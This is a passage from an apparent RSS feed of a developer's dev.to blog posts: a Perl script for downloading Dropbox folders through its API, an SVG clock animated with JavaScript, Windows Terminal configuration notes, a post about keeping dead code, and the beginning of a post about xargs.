      <link>https://dev.to/jacoby/scripting-the-dropbox-api-8bg</link>
      <guid>https://dev.to/jacoby/scripting-the-dropbox-api-8bg</guid>
      <description>&lt;p&gt;I am a big fan of &lt;a href="https://www.dropbox.com/"&gt;Dropbox&lt;/a&gt; and have been for some time. One of my things is to have &lt;code&gt;bin&lt;/code&gt; and &lt;code&gt;lib&lt;/code&gt; directories so a lot of the tools I write for myself are available on all my hosts.&lt;/p&gt;

&lt;p&gt;The issue is that Dropbox’s client for Linux wants to exist in context of a desktop, and there are places, such as a research cluster or a hosted machine, where there’s no desktop running and the Dropbox client won’t work.&lt;/p&gt;

&lt;p&gt;But don’t worry. &lt;a href="https://www.dropbox.com/developers/documentation"&gt;Dropbox has an API&lt;/a&gt;. And Perl has a library. Well, &lt;em&gt;libraries&lt;/em&gt;, but I like and use &lt;a href="https://metacpan.org/pod/WebService::Dropbox"&gt;WebService::Dropbox&lt;/a&gt;. Your first step is to use the &lt;a href="https://www.dropbox.com/developers/apps"&gt;App Console&lt;/a&gt; and get all the keys and you need.&lt;/p&gt;

&lt;p&gt;I put all that into YAML so that I can share the code at will, without worrying about sharing keys, but maybe you like JSON or INI files or something. Whatever you do, make sure that you &lt;code&gt;chmod&lt;/code&gt; your stuff so that only you can access it, especially if you’re running this on a shared resource.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;---
key: gec7xnarw6yy3w8
secret: ioq7dyn412v833m
token: u1viTaKGoFNtAi6aekV4JMMd81HTSeFOn3LN-6m6pUvI1Vd867utfHmfzMVwrO2I
note: "Not my keys, but random numbers I generated. Don't share yours either."

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;And here is my program, &lt;code&gt;dropbox_copy.pl&lt;/code&gt;. If you wanted to download a &lt;code&gt;bin&lt;/code&gt; directory from Dropbox, you’d run &lt;code&gt;dropbox_copy.pl -d bin&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/home/djacoby/webserver/perl/bin/perl

# This program is used to download a Dropbox directory onto a machine
# without Dropbox tools installed

use strict;
use warnings;
use utf8;
use feature qw{ postderef say signatures state };
no warnings qw{ experimental::postderef experimental::signatures };

use Carp;
use IO::File;
use JSON;
use Getopt::Long;
use Pod::Usage;
use WebService::Dropbox;
use YAML qw{LoadFile};
use File::Path qw{make_path};

my $json = JSON-&amp;gt;new-&amp;gt;canonical-&amp;gt;pretty;
my $config = config();
my $dropbox = WebService::Dropbox-&amp;gt;new( { key =&amp;gt; $config-&amp;gt;{key}, } );

# Authorization
if ( $config-&amp;gt;{token} ) {
    $dropbox-&amp;gt;access_token( $config-&amp;gt;{token} );
}
else {
    my $url = $dropbox-&amp;gt;authorize;

    print "Please Access URL and press Enter: $url\n";
    print "Please Input Code: ";
    chomp( my $code = &amp;lt;STDIN&amp;gt; );
    unless ( $dropbox-&amp;gt;token($code) ) {
        die $dropbox-&amp;gt;error;
    }
    print "Successfully authorized.\nYour AccessToken: ",
        $dropbox-&amp;gt;access_token, "\n";
}

if ( $config-&amp;gt;{directory} ) {
    my $remote = '/' . $config-&amp;gt;{directory};
    get_dir( $remote, $dropbox );
}

exit;

# get_dir() takes $remote, the directory to be copied,
# and a WebService::Dropbox object. I am on an anti-globals
# kick but otherwise would've kept that and just passed $remote

sub get_dir ( $remote, $dropbox ) {
    my $local = join '', $ENV{HOME}, '/Dropbox', $remote;
    if ( !-d $local ) { make_path($local) }
    my $result = $dropbox-&amp;gt;list_folder($remote);
    for my $e ( $result-&amp;gt;{entries}-&amp;gt;@* ) {

        # if it's a folder/directory, recurse
        if ( $e-&amp;gt;{'.tag'} eq 'folder' ) {
            my $next = $e-&amp;gt;{path_display};
            get_dir( $next, $dropbox );
        }

        # if it's a file, we download it
        if ( $e-&amp;gt;{'.tag'} eq 'file' ) {
            my $file = $e-&amp;gt;{path_display};
            get_file( $file, $dropbox );
        }
    }
}

# get_file() takes $remote, the file to be copied, and a
# WebService::Dropbox object

sub get_file ( $remote, $dropbox ) {
    my $local = join '', $ENV{HOME}, '/Dropbox', $remote;
    my $fh = IO::File-&amp;gt;new( $local, '&amp;gt;' );
    my $response = $dropbox-&amp;gt;download( $remote, $fh );

    # say $json-&amp;gt;encode($response);
}

# one-stop shop to get the Dropbox configuration and the flags.

sub config () {
    my $config_file = $ENV{HOME} . '/.dropbox.yml';
    croak 'No Config' unless -f $config_file;
    my $config = LoadFile($config_file);
    $config-&amp;gt;{download} = 0;
    $config-&amp;gt;{upload} = 0;
    GetOptions(
        'help' =&amp;gt; \$config-&amp;gt;{help},
        'man' =&amp;gt; \$config-&amp;gt;{man},
        'directory=s' =&amp;gt; \$config-&amp;gt;{directory},
    );

    pod2usage( -verbose =&amp;gt; 2, -exitval =&amp;gt; 1 ) if $config-&amp;gt;{man};
    pod2usage( -verbose =&amp;gt; 1, -exitval =&amp;gt; 1 ) if $config-&amp;gt;{help};
    pod2usage( -verbose =&amp;gt; 1, -exitval =&amp;gt; 1 )
        unless $config-&amp;gt;{directory} =~ /\w/;
    delete $config-&amp;gt;{help};
    delete $config-&amp;gt;{man};
    return $config;
}

exit;

=head1 NAME

dropbox_copy.pl - Download a directory from Dropbox

=head1 SYNOPSIS

    dropbox_copy.pl -d 'Images'

=head1 DESCRIPTION

This program copies whole directories from Dropbox

=head1 OPTIONS

=over 4

=item B&amp;lt;-d&amp;gt;, B&amp;lt;--directory&amp;gt;

The name of the directory to be copied.

=item B&amp;lt;-h&amp;gt;, B&amp;lt;--help&amp;gt;

Short-form user documentation

=item B&amp;lt;-m&amp;gt;, B&amp;lt;--manual&amp;gt;

Long-form user documentation

=back

=head1 LICENSE

This is released under the Artistic
License. See L&amp;lt;perlartistic&amp;gt;.

=head1 AUTHOR

Dave Jacoby L&amp;lt;jacoby.david@gmail.com&amp;gt;

=cut

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;a href="https://gist.github.com/jacoby/952fe31d334fcdc236bac96f78df2223"&gt;As a GitHub Gist&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I should make better tools like this, with listing directories and downloading files and uploading. I should make a repo with all this stuff. This would allow others to help make it better. And because Dropbox owns the name “Dropbox”, I should come up with another name.&lt;/p&gt;

&lt;p&gt;But, in the meantime, please enjoy.&lt;/p&gt;

&lt;h4&gt;
  
  
  If you have any questions or comments, I would be glad to hear it. Ask me on &lt;a href="https://twitter.com/jacobydave"&gt;Twitter&lt;/a&gt; or &lt;a href="https://github.com/jacoby/jacoby.github.io"&gt;make an issue on my blog repo&lt;/a&gt;.
&lt;/h4&gt;

</description>
    </item>
    <item>
      <title>Scaled Vector Graphics on the Web for Fun and ?</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Fri, 13 Sep 2019 13:56:21 +0000</pubDate>
      <link>https://dev.to/jacoby/scaled-vector-graphics-on-the-web-for-fun-and-385o</link>
      <guid>https://dev.to/jacoby/scaled-vector-graphics-on-the-web-for-fun-and-385o</guid>
      <description>&lt;p&gt;This is an image.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjacoby.github.io%2Fimages%2Fclock.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjacoby.github.io%2Fimages%2Fclock.svg" alt="Clock"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I enjoy playing with clocks, and &lt;a href="https://jacoby.github.io/SVGClock/index.html" rel="noopener noreferrer"&gt;this is from that tool&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This is done with &lt;strong&gt;Scaled Vector Graphics&lt;/strong&gt; , or &lt;strong&gt;SVGs&lt;/strong&gt;. SVGs are a text-based XML format, and they look like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;svg xmlns="http://www.w3.org/2000/svg" id="neck" viewBox="0 0 900 900"&amp;gt;
    &amp;lt;style&amp;gt;
        .loop {
            stroke: #666;
            stroke-width: 20;
            fill-opacity: 0;
            }
        #cen, #day, #hor, #min, #sec {
            stroke: #666;
            stroke-width: 10;
            }
        #cen { fill: lightblue; }
        #day { fill: yellowgreen; }
        #hor { fill: yellow; }
        #min { fill: orange; }
        #sec { fill: red; }
    &amp;lt;/style&amp;gt;

    &amp;lt;circle id="d_loop" cx="450" cy="450" r="100" class="loop"/&amp;gt;
    &amp;lt;circle id="h_loop" cx="450" cy="450" r="200" class="loop"/&amp;gt;
    &amp;lt;circle id="m_loop" cx="450" cy="450" r="300" class="loop"/&amp;gt;
    &amp;lt;circle id="s_loop" cx="450" cy="450" r="400" class="loop"/&amp;gt;

    &amp;lt;circle id="sec" cx="450" cy="050" r="30" class="dot"/&amp;gt;
    &amp;lt;circle id="min" cx="450" cy="150" r="30" class="dot"/&amp;gt;
    &amp;lt;circle id="hor" cx="450" cy="250" r="30" class="dot"/&amp;gt;
    &amp;lt;circle id="day" cx="450" cy="350" r="30" class="dot"/&amp;gt;
    &amp;lt;circle id="cen" cx="450" cy="450" r="30" class="dot"/&amp;gt;
&amp;lt;/svg&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What do we see? We see things with &lt;strong&gt;ID&lt;/strong&gt; tags, so they can be uniquely identified and with &lt;strong&gt;CLASS&lt;/strong&gt; tags so they can be grouped.&lt;/p&gt;

&lt;p&gt;This means, in a web context, you can uniquely address those things and change them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function draw_second(seconds) {
  let deg = seconds * 6;
  let deg2 = (deg - 90) % 360;
  let sec = document.getElementById("sec");
  let xy = circleCoords(400, deg2);
  let x = 450 + xy.x;
  let y = 450 + xy.y;
  sec.setAttribute("cx", x);
  sec.setAttribute("cy", y);
}

function circleCoords(radius, degFromTop) {
  const rads = degToRad(degFromTop);
  return {
    x: radius * Math.cos(rads),
    y: radius * Math.sin(rads)
  };
}

function degToRad(deg) {
  return (deg / 360) * (Math.PI * 2);
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is more, of course, but each circle has a center, which is defined by the x and y coordinates, and so the &lt;code&gt;cx&lt;/code&gt; is the x coordinate of that circle and &lt;code&gt;cy&lt;/code&gt; is the y coordinate. The base image is 900x900, so this is placed in relation to &lt;code&gt;450,450&lt;/code&gt; and the radius is 400, so we set that with &lt;code&gt;setAttribute&lt;/code&gt;, just like we’re messing with the DOM in other contexts.&lt;/p&gt;

&lt;p&gt;There are two other uses I know for SVGs. Logos are &lt;em&gt;great&lt;/em&gt; in SVG, because they scale, still looking sharp when blown up to poster and side-of-truck sizes. They are also useful for laser cutters, where different colors are used for different laser intensity, so that a thick black section is made darker, but a thin red line will be cut through.&lt;/p&gt;

&lt;p&gt;But remember that, in a web context, the parts of the image are as addressable and modifiable as anything else on a web page.&lt;/p&gt;

&lt;h4&gt;
  
  
  If you have any questions or comments, I would be glad to hear it. Ask me on &lt;a href="https://twitter.com/jacobydave" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt; or &lt;a href="https://github.com/jacoby/jacoby.github.io" rel="noopener noreferrer"&gt;make an issue on my blog repo&lt;/a&gt;.
&lt;/h4&gt;

</description>
    </item>
    <item>
      <title>Playing with Windows Terminal</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Wed, 24 Jul 2019 14:59:00 +0000</pubDate>
      <link>https://dev.to/jacoby/playing-with-windows-terminal-2b8n</link>
      <guid>https://dev.to/jacoby/playing-with-windows-terminal-2b8n</guid>
      <description>&lt;p&gt;I have been a WSL user for some time, and also someone keen on hacking my Bash prompt, which has lead me to find that Windows Terminal has lagged for some time on Gnome Terminal for Unicode support, which means that, for example, if you want icons to tell you that you’ve had several cups of coffee, your laptop battery is low, or your Git repo’s status is that of smiling poo, they just wouldn’t show up well on Windows.&lt;/p&gt;

&lt;p&gt;There were places that were okay. They worked fine with the Cygwin terminal and the Git Bash that was derived from it, and I recall that PuTTY handled things well (but now that you can SSH from PowerShell &lt;em&gt;and&lt;/em&gt; CMD prompts, I never open it anymore), but the built-in terminals were basically unchanged from NT and maybe before.&lt;/p&gt;

&lt;p&gt;Rich Turner would know, because he wrote the … well, blog series … on &lt;a href="https://devblogs.microsoft.com/commandline/windows-command-line-backgrounder/" rel="noopener noreferrer"&gt;the history of terminals in Windows&lt;/a&gt;, which lead to the release of the new &lt;a href="https://github.com/microsoft/terminal" rel="noopener noreferrer"&gt;Windows Terminal&lt;/a&gt;. You can download it from the &lt;a href="https://www.microsoft.com/en-us/p/windows-terminal-preview/9n0dx20hk701" rel="noopener noreferrer"&gt;MS Store&lt;/a&gt; now, and unlike some other favorite toys, you don’t have to be Fast Track Windows Insider. So let me show you around!&lt;/p&gt;

&lt;h2&gt;
  
  
  Pretty
&lt;/h2&gt;

&lt;p&gt;I’m starting with the WSL prompt, because, as a Linux guy, I’ve done much more work with my Bash prompt customization. So far, that is.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjacoby.github.io%2Fimages%2Fwt_wsl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjacoby.github.io%2Fimages%2Fwt_wsl.png" alt="WSL Terminal Tab"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I point out a few things here. The coffee cup emoji (☕) indicating the cups I’ve consumed that day. Also, the computer emoji (💻) indicating that I don’t have packages to add, and the battery (🔋), which doesn’t mean much because the term is on my desktop, but would indicate battery charge level. Also, I try to use Taskwarrior and the check (✔) signifies that I have no tasks outstanding. And all of it shows up in the new Windows Terminal, which was not always true.&lt;/p&gt;

&lt;p&gt;I’ll also mention that I’m using &lt;a href="https://github.com/tonsky/FiraCode" rel="noopener noreferrer"&gt;Fira Code&lt;/a&gt;, a font that supports ligatures, and it shows &lt;code&gt;&amp;lt;=&lt;/code&gt; as one character, not two.&lt;/p&gt;

&lt;p&gt;You can’t see it from the screen capture, but the cyberpunk image is an animated GIF, that is animated behind the text.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjacoby.github.io%2Fimages%2Fcyberpunk.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjacoby.github.io%2Fimages%2Fcyberpunk.gif" alt="Cyberpunk.gif"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I consider this a big thing, because I wrote a tool to set your Windows background image, and that only accepts JPEG.&lt;/p&gt;

&lt;p&gt;This configuration is specific to the kind of term you’re opinging, so if you want a PowerShell terminal, it looks different.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjacoby.github.io%2Fimages%2Fwt_ps.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjacoby.github.io%2Fimages%2Fwt_ps.png" alt="PowerShell Terminal Tab"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Configuration
&lt;/h2&gt;

&lt;p&gt;Shortened, the configuration file in &lt;code&gt;C:\Users\you\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\RoamingState\profiles.json&lt;/code&gt; looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "globals": {},
  "profiles": [],
  "schemes": []
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And is available with &lt;code&gt;ctrl-,&lt;/code&gt; or under &lt;em&gt;Settings&lt;/em&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  (Color) Schemes
&lt;/h3&gt;

&lt;p&gt;Back to front, &lt;em&gt;schemes&lt;/em&gt; are &lt;em&gt;color schemes&lt;/em&gt;, and look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "background": "#0C0C0C",
  "black": "#0C0C0C",
  "blue": "#0037DA",
  "brightBlack": "#767676",
  "brightBlue": "#3B78FF",
  "brightCyan": "#61D6D6",
  "brightGreen": "#16C60C",
  "brightPurple": "#B4009E",
  "brightRed": "#E74856",
  "brightWhite": "#F2F2F2",
  "brightYellow": "#F9F1A5",
  "cyan": "#3A96DD",
  "foreground": "#CCCCCC",
  "green": "#13A10E",
  "name": "Campbell",
  "purple": "#881798",
  "red": "#C50F1F",
  "white": "#CCCCCC",
  "yellow": "#C19C00"
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, it’s taking the names of default colors, plus foreground, background, etc., and putting a name to them.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Campbell&lt;/em&gt; is the out-of-the-box scheme, but you can change that and you can change these, in…&lt;/p&gt;

&lt;h3&gt;
  
  
  Profiles
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "acrylicOpacity": 0.5,
  "background": "#012456",
  "backgroundImage": "ms-appdata:///roaming/dotty-me.jpg",
  "backgroundImageOpacity": 0.25,
  "closeOnExit": true,
  "colorScheme": "Campbell",
  "commandline": "powershell.exe",
  "cursorColor": "#00FF00",
  "cursorShape": "bar",
  "fontFace": "Consolas",
  "fontSize": 10,
  "guid": "{61c54bbd-c2c6-5271-96e7-009a87ff44bf}",
  "historySize": 9001,
  "icon": "ms-appx:///ProfileIcons/{61c54bbd-c2c6-5271-96e7-009a87ff44bf}.png",
  "name": "Windows PowerShell",
  "padding": "0, 0, 0, 0",
  "snapOnInput": true,
  "startingDirectory": "%USERPROFILE%",
  "useAcrylic": false
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the profile for PowerShell, and I have customized it some. &lt;code&gt;background&lt;/code&gt; is &lt;em&gt;background color&lt;/em&gt;, and you jump to &lt;code&gt;backgroundImage&lt;/code&gt; to set an image.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjacoby.github.io%2Fimages%2Fdotty-me.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjacoby.github.io%2Fimages%2Fdotty-me.jpg" alt="Dotty Me"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But, of course, you want to see the text &lt;em&gt;over&lt;/em&gt; your image, so &lt;code&gt;backgroundImageOpacity&lt;/code&gt; is a float between 0 and 1 setting how much is there, which allows you to read text over it.&lt;/p&gt;

&lt;p&gt;Valid &lt;code&gt;cursorShape&lt;/code&gt; values are bar, emptyBox, filledBox, underScore, and vintage. &lt;a href="http://donovanbrown.com/post/Cursor-shapes-for-new-Windows-Terminal/" rel="noopener noreferrer"&gt;Thanks, Donovan Brown!&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Evidently, &lt;em&gt;Acrylic&lt;/em&gt; is a way to make a terminal translucent; the background is viewable through, but not in focus. This is where &lt;code&gt;useAcrylic&lt;/code&gt; and &lt;code&gt;acrylicOpacity&lt;/code&gt; fit in, but I have yet to make them work.&lt;/p&gt;

&lt;p&gt;There’s a lot of Windows short-hand stuff here. &lt;code&gt;ms-appdata:///roaming/&lt;/code&gt; means &lt;code&gt;C:\Users\you\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\RoamingState&lt;/code&gt;. &lt;code&gt;%USERPROFILE%&lt;/code&gt; is a long and complex way of writing &lt;code&gt;~&lt;/code&gt; and the &lt;code&gt;startingDirectory&lt;/code&gt; field it sets doesn’t do much for starting &lt;code&gt;wsl&lt;/code&gt;, so the hack is to make your &lt;code&gt;commandLine&lt;/code&gt; ask for &lt;code&gt;"wsl.exe ~ -d Ubuntu-18.04"&lt;/code&gt;. And then there’s the unique identifier, or &lt;code&gt;guid&lt;/code&gt;. This is used primarily to indicate which choice comes up when you open WT, in …&lt;/p&gt;

&lt;h3&gt;
  
  
  Globals
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    "globals": {
      "alwaysShowTabs": true,
      "defaultProfile": "{7c51c86f-d763-44fc-b952-e04d5922f631}",
      "initialCols": 120,
      "initialRows": 30,
      "keybindings": [{
        "command": "closeTab",
        "keys": [
          "ctrl+w"
        ]
      }, {
        "command": "OTHERS",
        "keys": [
          "plenty"
        ]
      }],
      "requestedTheme": "system",
      "showTabsInTitlebar": true,
      "showTerminalTitleInTitlebar": true
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Most&lt;/em&gt; of these seem to not do much, especially everything with &lt;code&gt;Tab&lt;/code&gt; in the key. &lt;code&gt;defaultProfile&lt;/code&gt; is what decides which of your choices come up when you open a tab or create a window, and that is set by that profile’s &lt;code&gt;guid&lt;/code&gt;, and these GUIDs seem unique to the project, so your &lt;code&gt;Ubuntu-18.04&lt;/code&gt; GUID just might be mine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Issues
&lt;/h2&gt;

&lt;p&gt;Personally, I would love for the big array of &lt;code&gt;keybindings&lt;/code&gt; to be at the top level, not stuck in the middle of the globals, but I’m not in position to change that.&lt;/p&gt;

&lt;p&gt;On Linux, I use a transparent terminal set to about 30%, so you can see the Desktop (including other windows) through the terminal. It is &lt;em&gt;mostly&lt;/em&gt; a “this is so cool” thing, but on occasion it has proved helpful. I would love the transparent/translucent backgrounds that Acrylic promises, but I have yet to make them work. I’m not generally the big fan of terminal-specific backgrounds, but I am enjoying them while I wait.&lt;/p&gt;

&lt;p&gt;I would love to have some way to, when opening a term, be able to choose &lt;code&gt;WSL Ubuntu&lt;/code&gt; or &lt;code&gt;WSL Fedora&lt;/code&gt; or &lt;code&gt;PowerShell ISE (As Admin)&lt;/code&gt;, rather than creating a tab for it once it’s open, and the Admin powers part is not started to be solved yet, as far as I can tell.&lt;/p&gt;

&lt;p&gt;You’ll notice the &lt;strong&gt;LONG&lt;/strong&gt; tab which shows the location of the PowerShell executable, and that, instead, my Ubuntu tab says &lt;code&gt;jacoby@Lion: ~&lt;/code&gt;, this is because I have tamed my &lt;code&gt;$PS1&lt;/code&gt; so it contains the string &lt;code&gt;\[\033]0;\u@\h: \w\007\]&lt;/code&gt;, which tells the computer that every time the prompt is written to set &lt;code&gt;\u@\h: \w&lt;/code&gt;, or &lt;code&gt;username@hostname: current_working_directory&lt;/code&gt;, as the terminal title, which, in this case, is tab title. Such magic must exist with PowerShell, but I have yet to dive deeply and understand such things. The default is so ugly, I’m going to have to.&lt;/p&gt;

&lt;p&gt;The lack of emoji and Unicode characters has been my big annoyance with Windows for a while, and this release really fixes that. I’ll have to spend some time changing settings and my workflow to make this &lt;em&gt;really&lt;/em&gt; fit my use, but I’m very happy with the new terminal and can hardly wait for improvements.&lt;/p&gt;

&lt;h4&gt;
  
  
  If you have any questions or comments, I would be glad to hear it. Ask me on &lt;a href="https://twitter.com/jacobydave" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt; or &lt;a href="https://github.com/jacoby/jacoby.github.io" rel="noopener noreferrer"&gt;make an issue on my blog repo&lt;/a&gt;.
&lt;/h4&gt;

</description>
      <category>windowsterminal</category>
      <category>windows</category>
    </item>
    <item>
      <title>My Shame</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Thu, 18 Jul 2019 14:47:45 +0000</pubDate>
      <link>https://dev.to/jacoby/my-shame-3e50</link>
      <guid>https://dev.to/jacoby/my-shame-3e50</guid>
      <description>&lt;p&gt;&lt;a href="https://twitter.com/JacobyDave/status/1151577935117279232/" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjacoby.github.io%2Fimages%2Fmy_shame.png" alt="My Shame"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I tweeted this, saying “my shame”.&lt;/p&gt;

&lt;p&gt;In the beginning there was &lt;strong&gt;&lt;code&gt;format_all_that_data&lt;/code&gt;&lt;/strong&gt;. It was an internal function that took a big data structure and turned it into HTML.&lt;/p&gt;

&lt;p&gt;Using Perl’s &lt;code&gt;CGI.pm&lt;/code&gt; to create the HTML. I knew this was a bad idea a decade before, but it was the lab style, and it took a while before I understood Template Toolkit (and other templating engines) as the way of the future.&lt;/p&gt;

&lt;p&gt;I needed to make changes, but I had to work in production (a situation I still have yet to escape) and wanted to keep the old one working, so I called it &lt;strong&gt;&lt;code&gt;format_all_that_data_new&lt;/code&gt;&lt;/strong&gt; , and when it was done, I changed the places I knew used &lt;code&gt;format_all_that_data&lt;/code&gt; to &lt;code&gt;format_all_that_data_new&lt;/code&gt; and made it so that &lt;code&gt;format_all_that_data&lt;/code&gt; returned an empty string. That way, if output was expected but not forthcoming, someone would tell me.&lt;/p&gt;

&lt;p&gt;And then I was asked to do a few small changes. One change would be fine; do it, test it, release it, forget it. But there were more changes, which is enough to dive onto templating and fixing a lot of other stuff in that program. And again, I am developing in production, so I create &lt;strong&gt;&lt;code&gt;format_all_that_data_tt&lt;/code&gt;&lt;/strong&gt; , which uses &lt;a href="http://www.template-toolkit.org/" rel="noopener noreferrer"&gt;Template Toolkit&lt;/a&gt; to do the HTML &lt;em&gt;correctly&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;And, once I have it, I want to switch over, but I want to minimize the changes, so I move &lt;code&gt;format_all_that_data_new&lt;/code&gt; to &lt;strong&gt;&lt;code&gt;format_all_that_data_old&lt;/code&gt;&lt;/strong&gt; , so that it and all the knowledge I stuck into it and fear to remove are there but not gone.&lt;/p&gt;

&lt;p&gt;So I rewrote &lt;strong&gt;&lt;code&gt;format_all_that_data_new&lt;/code&gt;&lt;/strong&gt; to, in it’s entirety:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sub format_all_that_data_new($data) { format_all_that_data_tt($data) }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I keep dead code because I fear, and add cruft to route around it.&lt;/p&gt;

&lt;p&gt;This is my shame.&lt;/p&gt;

&lt;h4&gt;
  
  
  If you have any questions or comments, I would be glad to hear it. Ask me on &lt;a href="https://twitter.com/jacobydave" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt; or &lt;a href="https://github.com/jacoby/jacoby.github.io" rel="noopener noreferrer"&gt;make an issue on my blog repo&lt;/a&gt;.
&lt;/h4&gt;

</description>
    </item>
    <item>
      <title>I did an xargs!</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Thu, 27 Jun 2019 15:52:45 +0000</pubDate>
      <link>https://dev.to/jacoby/i-did-an-xargs-5096</link>
      <guid>https://dev.to/jacoby/i-did-an-xargs-5096</guid>
      <description>&lt;p&gt;A fundamental thing you must know is that there is not a canonical set of knowledge for ... most anything, really, but here, for Linux/Unix expertise. There have been studies. We all have gaps in our knowledge. I am sure there is someone with substantial knowledge of the linked-lists underlying file system representation but is unaware that &lt;code&gt;ls -lh&lt;/code&gt; put file sizes in a human-readable form. (If that's you, you're welcome.)&lt;/p&gt;

&lt;p&gt;For me, &lt;em&gt;one&lt;/em&gt; of my long-standing knowledge gaps has been &lt;code&gt;xargs&lt;/code&gt;. I've seen it for decades, all &lt;code&gt;find . | xargs &amp;lt;something&amp;gt;&lt;/code&gt; and I've copied and pasted those commands, but the knowledge never stayed.&lt;/p&gt;

&lt;h2&gt;
  
  
  segue
&lt;/h2&gt;

&lt;p&gt;For the last month and a half, an API we use has not been working, meaning we couldn't update data into it. But that bug has been fixed, and now I have &lt;em&gt;hundreds&lt;/em&gt; of updates that have been requested of me.&lt;/p&gt;

&lt;p&gt;I have an API tool that allows me to get a whole month's worth of data &lt;em&gt;out&lt;/em&gt; of the API and into columns, and this time I remembered &lt;code&gt;awk&lt;/code&gt; is the one I wanted (&lt;code&gt;sed&lt;/code&gt; and &lt;code&gt;awk&lt;/code&gt; being two other gaps in my Unix knowledge, but that's another column), getting me:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1sf701vdlahb
3lm63b58riej
3o4rhtaxe8lx
b5hqvs6tuqnm
eoirmijclnl1
uihc1q3yzkvm
vq2uskrrlb5h
